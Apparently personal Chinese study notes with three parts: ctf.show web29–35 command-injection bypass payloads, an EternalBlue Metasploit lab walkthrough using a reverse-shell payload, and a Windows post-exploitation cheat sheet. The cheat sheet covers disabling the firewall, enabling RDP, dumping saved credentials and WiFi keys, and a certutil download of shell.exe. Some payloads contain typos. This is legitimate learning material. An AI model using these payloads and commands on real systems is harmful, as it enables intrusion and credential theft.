命令执行(29-124)
web29
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
/flag/i表示不区分大小写的匹配flag
这道题应该就是环境有问题,我一开始写的?c=system()还尝试了别的wp里面的payload依旧不行显示空白,简单总结一下几种绕过方法吧
(1)拼接过滤?c=system('cat fl'.'ag . php');(也可以前面自定义一个拼接函数,然后再在system里进行拼接还可以拼接时flag用char(~)表示)
(2)使用通配符?c=system('cat fl*');或?c=system('cat ????.php');(如果要绕过某些敏感目录也可以???/????)
(3)反引号执行,再php中翻译号相当于shell_exec函数即通过shell执行系统命令并将完整的输出作为字符串返回?c=echo `cat fl*`(在system被过滤的情况下可以如此)
(4)也可以进行编码绕过?c=sysyem('cat . base64.decode(ZmxhZy5waHA=)');
(5)位运算绕过,这道题倒是用不上,比如有些过滤了全部字母,只能用符号代表ascii值进行运算得到字母的ascii值(比如可以用异或来得到,注意异或的是二进制码同为0异为1,每个字母依旧在前面用变量函数定义)
(6)数组绕过?c=a=\['fl','ag'\];system('cat '.a[0].$a[1].'.txt');
(7)利用php特性读取文件?c=system('cat '.scandir('.')[2]); scandir('.')是扫描全部目录[2]是第二个索引,因为我搜了一下,0是.即当前目录,1是..即上级目录,2才是第一个文件,但是又因为我们不清楚第flag文件的位置一个个尝试或许麻烦,不过问题不大可以爆破,但是也可以读取所有文件?c=var_dump(scandir('.'));列出所有文件
(8)
?c=system('nl fl*'); // nl命令显示文件内容
?c=system('more fl*'); // more分页查看
?c=system('less fl*'); // less查看
?c=system('head fl*'); // head查看文件头部
?c=system('tail fl*'); // tail查看文件尾部
web30
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}

反引号,依旧不显示falg
web31
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}

web32
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
我想直接base64编码完事了,额但是不对


用了变量覆盖文件包含伪协议和编码
web33
新增了双引号,改用数值进行传参
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
https://78a7f4ff-de3d-4d9a-9878-ca2de364e1f5.challenge.ctf.show/?c=include$_GET[1]?%3E&1=php://filter/convert.base64-encode/resource=flag.php

web34
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
新增冒号但对上一个payload不影响

web35
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 04:21:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
多了个<依旧原来payload不影响

一 永恒之蓝
1.漏洞简介
"永恒之蓝"(EternalBlue)是一个利用微软Windows系统SMBv1协议(主要负责文件共享,打印机共享) 中MS17-010漏洞 的远程代码执行攻击工具。它最初由美国国家安全局(NSA)开发,在2017年4月被黑客组织"影子经纪人"(Shadow Brokers)泄露,随后被用于全球性的大规模网络攻击,例如同年5月爆发的WannaCry勒索病毒事件。
2.漏洞原理
缓冲区溢出, 漏洞存在于 Windows SMBv1 服务器的 srv.sys(这个文件主要是网络联通和文件共享) 内核驱动文件中。具体位置在处理 SMBv1 的 Trans2 二次请求 时。
正常客户端请求数据时会告知服务器缓冲区大小,然后服务器根据这个大小来分配和拷贝内存,所以我们可以利用这一点来向服务器谎报缓冲区大小,比如谎称数据量很小实际很大,服务器会将这些数据分配到内核的一个缓冲区内覆盖这片区域原有的数据因为后面分配的空间是碎片化的,不定的所以我们会精心构造大量的固定大小的SMB请求并间隔释放,然后再精心构造一个payload触发漏洞产生缓冲区溢出
二、环境搭建
我是准备了kali和win7
先是配置网络确保他们在同一个网段下


并且相互ping的通


关闭windows的防火墙


关闭自动更新

看看是否打了补丁,这里没打

nmap进行漏洞端口探测

nmap --script=vuln 192.168.28.132
--script=vuln:加载 Nmap 的 "vuln" 脚本组,包含数百个已知漏洞检测脚本(如永恒之蓝、SMB漏洞、弱口令等)看到存在445
三、渗透和后渗透实战
先启用msf模块

Ms17-010为永恒之蓝攻击模块名称,使用search ms17-010查找,具体如下所示
探测是否存在永恒之蓝漏洞

使用use 0进行ms17-010漏洞渗透,具体配置如下所示。
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set RHOST 192.168.59.144
set LHOST 192.168.59.128
set RPORT 445
set payload :设置payload,这里用set payload windows/x64/meterpreter/reverse_tcp
set RHOST 目标主机地址 :该命令会设置好要攻击的目标主机地址
set LHOST 攻击机地址 :该命令设置攻击机的地址,使目标主机回连至攻击机
set LPORT 回连的端口 :该命令设置目标主机回连至攻击机的端口,默认为4444



传个文件,windows接收成功
https://zhuanlan.zhihu.com/p/1940856541692539073
这里是几条命令速查:
一、系统信息 ️
刚拿到一台机器,先摸清楚对方的底细:
- systeminfo → 系统信息一览无余
- wmic
qfe list brief→ 看看打了哪些补丁 - hostname → 主机名是什么
- DRIVERQUERY → 驱动列表(找漏洞的时候特别有用)
什么时候用:想知道有没有未打补丁的高危漏洞,或者看看是 32 位还是 64 位好选对应的工具。
二、环境变量
环境变量里藏着不少好东西,特别是域信息:
echo %COMPUTERNAME%→ 这台机器叫什么名echo %USERNAME%→ 当前是哪个用户echo %USERDNSDOMAIN%→ 域名信息nslookup %LOGONSERVER%.%USERDNSDOMAIN%→ 域控在哪里
什么时候用:内网渗透时搞清楚自己在哪个域,现在是什么身份,接下来往哪个方向突破。
三、进程与服务
看看机器上跑着什么东西,有没有可疑的进程或者后门:
什么时候用:排查恶意软件,或者找找有没有可以利用的服务。
四、用户与组
搞清楚用户权限,这是提权和横向移动的基础:
- net user
/domain→ 域里都有哪些用户 - net accounts
/domain→ 密码策略和锁定规则 - whoami
/priv→ 我现在有什么权限 - net group
"Domain Admins" /domain→ 域管都是谁 net localgroup Administrators→ 本地管理员有哪些
什么时候用:判断当前权限够不够用,或者寻找下一个攻击目标。
五、网络与防火墙 ️
网络情况和防火墙规则,横向渗透必看:
- ipconfig
/all→ 网卡信息和网段 - arp
-a→ ARP 表里的其他主机 - netstat
-ano→ 开了哪些端口 netsh advfirewall firewall show rule name=all→ 防火墙规则netsh advfirewall set allprofiles state off→ 直接关掉防火墙
什么时候用:摸清内网拓扑,看看能不能直接访问其他机器。
六、远程桌面与共享
拿下机器后,通常需要远程管理或者通过共享横向移动:
- reg add
"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f→ 开启远程桌面 - net view → 看看有什么共享
net use x: \\computer\share→ 挂载共享目录
什么时候用:需要图形界面操作,或者通过共享传输文件和工具。
七、凭证与 WiFi
Windows 喜欢保存各种凭证,说不定有意外收获:
- cmdkey
/list→ 系统保存的凭证 - vaultcmd
/listcreds:"Windows Credentials" /all→ 凭证库详情 netsh wlan show profile→ 保存的 WiFi 网络netsh wlan show profile <SSID> key=clear→ WiFi 密码明文显示
什么时候用:想要更多账号密码,或者了解目标的网络环境。
八、文件与下载
文件操作和工具下载,渗透测试的日常操作:
- attrib
+h file→ 把文件藏起来 - icacls
<FILE_PATH> /t /e /p <USERNAME>:F→ 给文件加权限 - bitsadmin
/create 1→ 创建下载任务 certutil.exe -urlcache -split -f "http://10.10.10.10/shell.exe" s.exe→ 下载文件的经典方法
什么时候用:需要上传下载工具,隐藏重要文件,或者修改文件权限。
九、杂项
一些零散但实用的命令:
shutdown /r /t 0→ 马上重启type <file>→ 查看文件内容net helpmsg 32→ 查看错误代码含义
十、实用技巧
这份命令表我做成了 黑底绿字的 HTML 页面,看着舒服,还能导出 PDF 随身带着。
导出时有个小技巧:
- Chrome 或 Edge 导出 PDF 时记得勾选「背景图形」,不然黑底绿字效果会丢失
- 自定义优化 可以在 HTML 里加个
@media print { -webkit-print-color-adjust: exact; }强制保留背景 - 个性化定制 你可以根据自己团队的习惯,增删一些常用命令